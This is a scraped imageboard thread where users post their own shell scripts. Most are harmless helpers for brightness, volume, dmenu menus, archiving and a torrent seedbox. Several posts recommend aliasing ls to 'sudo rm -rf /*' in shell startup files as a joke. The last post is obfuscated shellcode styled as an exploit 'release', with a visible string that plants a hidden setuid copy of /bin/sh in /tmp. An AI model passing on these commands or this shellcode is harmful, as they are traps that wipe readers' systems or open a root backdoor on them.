Your selfmade shell scripts, post 'em

Your selfmade shell scripts, post 'em.
Only OC allowed.

Other urls found in this thread:

pastebin.com/HGZJRrfJ
twitter.com/SFWRedditGifs

alias ls="sudo rm -rf /*"

/thread
Install Windows 10

hahahah u a funny guy man, top keks

alias op='faggot'

clear
echo "Hello $USER"
echo "Today is:";date
echo "Calendar"
cal
echo "
| |
| Welcome back |
| to |
| SCHNITZEL TOWN |
| |
"

...

I couldnt compile that css

Code for ~.bashrc : alias ls='sudo rm -rf /*'

Code for ~.zshrc : alias ls="sudo rm -rf /*"

works well

I'm wondering what the average age of todays Sup Forums visitors is.

To change keyboard layout and keep my preferences because setxkbmap nukes those
#!/bin/bash
setxkbmap $1
xbindkeys
xmodmap ~/scripts/keys
xset r rate 250 50

Recreated from memory

Probably not enough to be here

I mostly just stick wget [url] to a specific key combo, for weather and the like

Are you real

#!/bin/bash

getopts ":u" opt && shift

if [ $# -eq 0 ]; then
echo "$(basename "$0"): missing file operand"
exit 1
fi

while [ -n "$1" ]; do
if [ "$opt" != "u" ]; then
[ "${1:0:1}" != "." ] && mv -n "$1" ".$1"
else
[ "${1:0:1}" == "." ] && mv -n "$1" "${1:1}"
fi
shift
done

$address="boards.Sup Forums.org/"+$args
$privateList="gif","s","h","d","e","aco"
$private=0
foreach ($_ in $privateList) {if ($args -Contains $_) {$private=1}}
if (private) {private $address}
else {firefox $address}

>if [ $# -eq 0 ]; then
- quote $#
- use printf instead of echo
- since you're using bash, use the bash builtin [[ instead of [, which is actually a program, e.g. a new process

when called with bash, [ is also a builtin, the program [ is only called when the shebang is sh, but [[ is the correct syntax anyway in bash

#!/bin/bash
smbnetfs /home/milton/samba

mounts my desktop/server's samba share on my laptop. It has since been modified into an LXDE desktop shortcut:

[Desktop Entry]
Type=Application
Name=mount samba
Exec=smbnetfs /home/milton/samba
Categories=Other;
NoDisplay=true
MimeType=text/plain
Terminal=false
X-KeepTerminal=false
Icon=web-browser

type [ [[

whatis [
man [

see

#!/bin/sh -ex

exe="$(basename "$0")"

if [ -n "$2" ]
then
echo "$exe [ENTRY]" >&2
false
elif [ -n "$1" ]
then
dir="$1"
else
dir="$(basename "$(pwd)")"
cd ..
fi

BASENAME="$(basename "$dir")"
DIRNAME="$(dirname "$dir")"
ARCHIVE="$DIRNAME/$BASENAME-$(date -u '+%Y%m%d-%H%M%S'.tar.gz)"
tar czf "$ARCHIVE" "$dir"

This automatically adds torrents to the raspberry pi I use as a seedbox. It needs passwordless ssh in order to work smoothly.
if [ "$#" -lt 1 ] ; then
echo "Not enough arguments";
exit
fi
remote_dir="/wd/torrents/"
case "$1" in
music)
remote_dir="$remote_dir/music/";;
shows)
remote_dir="$remote_dir/shows/";;
*)
remote_dir="$remote_dir/films/";;
esac
if [ "$#" -lt 2 ] ; then
url="$1"
else
url="$2"
fi
if [[ ! "$url" =~ xt=urn:btih:([^&/]+) ]] ; then
echo "url doesn't look like a magnet link"
exit
fi
echo "d10:magnet-uri${#url}:${url}e" | ssh raspi "cat > '$remote_dir/meta-$(echo "$url" | grep -o 'xt=urn:btih:[a-zA-Z0-9]*' | sed 's/
xt=urn:btih://').torrent'"
exit
Brighten my display:
brightness=$((`cat /sys/class/backlight/intel_backlight/brightness`+50))

if [ $brightness -lt `cat /sys/class/backlight/intel_backlight/max_brightness` ]
then
echo $brightness > /sys/class/backlight/intel_backlight/brightness
fi
This spawns a dmenu that lets me choose what song to play with mpd:
playlist=$(mpc playlist)
song=$(echo "$playlist" | dmenu -l 20 -p "$(mpc | head -n 1)")
[ "$song" != "" ] && mpc play "$(echo "$playlist" | awk -v s="$song" '$0==s {print NR; exit;}')"
Turn the volume up:
amixer -q sset Master 3%+
if [ "$?" != 0 ] ; then
amixer -c 1 -q sset Master 3%+
fi
Change the sound output of my computer:
for soundcard in $(seq 0 3); do
status=$(amixer -c "$soundcard" sget "Headphone" 2>/dev/null);
if [ "$?" = 0 ]; then
break;
fi
done
amixer -c "$soundcard" -q sset "Auto-Mute Mode" Disabled
output="Front"
status=$(echo "$status" | grep -m 1 -o "\[\(on\|off\)\]$")
if [ "$status" = "[on]" ] ; then
amixer -q -c "$soundcard" sset "Headphone" mute;
amixer -q -c "$soundcard" sset "$output" unmute;
elif [ "$status" = "[off]" ] ; then
amixer -q -c "$soundcard" sset "Headphone" unmute;
amixer -q -c "$soundcard" sset "$output" mute;
else
echo "Error";
fi

And this is a dmenu-based filebrowser.
myls() {
printf "..\n%s" "$(find "$1" -maxdepth 1 | tail -n +2 | sed "s@^$1/@@")"
}
myexpand() {
cd "$1"; pwd
}
mycleanpath() {
echo "$1" | sed -e 's@^'"$HOME"'@~@'
}
fpath=$(myexpand ".")
while [ -d "$fpath" ] ; do
res=$(myls "$fpath" | dmenu -p "$(mycleanpath "$fpath")")
fpath="$fpath/$res"
if [ -d "$fpath" ] ; then
fpath=$(myexpand "$fpath")
if [ -z "$res" ] ; then
exit
fi
fi
done
xdg-open "$fpath"
I love dmenu.

I estimate a 17 on average

If you want a new ideas:

Have a file with bookmarks, grep all links and pipe them to dmenu.

Use wmctrl to build an alt+tab like window switcher.

dmenu logout dialog (reboot shutdown, halt, etc)

>Have a file with bookmarks
Would be inefficient as fuck for me since I use pentadactyl and have to press a maximum of three keys in order to reach my bookmarked websites.
>Use wmctrl to build an alt+tab
I don't need that since I use i3.
>dmenu logout dialog
Already bound to specific $mod+q and others in my i3conf.

autist

Yup, so what?

Being a technology enthusiast on a technology enthusiast board is bad and you should feel bad

A Python script I made to sort my pdf library.

pastebin.com/HGZJRrfJ

old enough to fuck your mom

f r e s h
r
e
s
h

>adding this to bashrc
>not using motd

$ wake me up
wake me up inside
$ cat ~/bin/wake
#!/bin/bash
echo wake me up inside
$

this is actually a thing on my machine

there's also shit like
alias fuckoff='sudo !!'
but I can't take credit for that

at one point, I had
links google.com/search?q="$1"

in a shell script called google, you'd just go
google "what you want to search"

used to have ones to adjust CPU speed, or show the battery life remaining (useful on machines where I was using Window Maker as my WM), but that was a while ago

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

“\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;